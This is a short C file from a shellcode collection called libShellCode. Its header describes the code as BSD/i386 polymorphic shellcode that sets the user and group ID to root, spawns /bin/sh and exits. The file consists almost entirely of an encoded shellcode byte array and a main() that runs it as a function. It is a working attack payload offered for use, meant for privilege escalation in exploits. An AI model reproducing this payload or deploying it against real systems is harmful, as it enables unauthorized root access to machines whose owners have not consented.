/* * __ ___ _ * / \ | \ | | /\-----------------> * / /\ \| |\ \| |/ / * / /__\ \ /| / libShellCode is an ORK's project! * \______/ |\ \| | \ For comments, bug reports, etc ... *<--------|_| \_\_|\_\ contact me at orkmailkatamailcom * * * This is a BSD/i386 polymorphic ShellCode that exec a setuid(0) and a * setgid(0), then executes /bin/sh and exit(0). * */ char shellcode[]= "\xeb\x3e\x5e\x31\xc9\xb0\xca\xb1\x3a\x89\xf3\x83\xeb\x32\x30\x03" "\x43\xe2\xfb\xfb\x0a\x9a\x9a\x7a\xdd\x07\x4a\xfb\x0a\x9a\x9a\x7a" "\x7f\x07\x4a\xfb\x0a\x42\x8c\xcd\x43\xbc\xc2\x43\x8c\xc6\x9a\x47" "\x9c\xc2\x98\x9c\x7a\xf1\x9a\x07\x4a\xfb\x0a\x9a\x9a\x8a\x07\x4a" "\xe8\xbd\xff\xff\xff\xe5\xa8\xa3\xa4\xe5\xb9\xa2"; main() { void (*f)(); (char *)f = shellcode; f(); }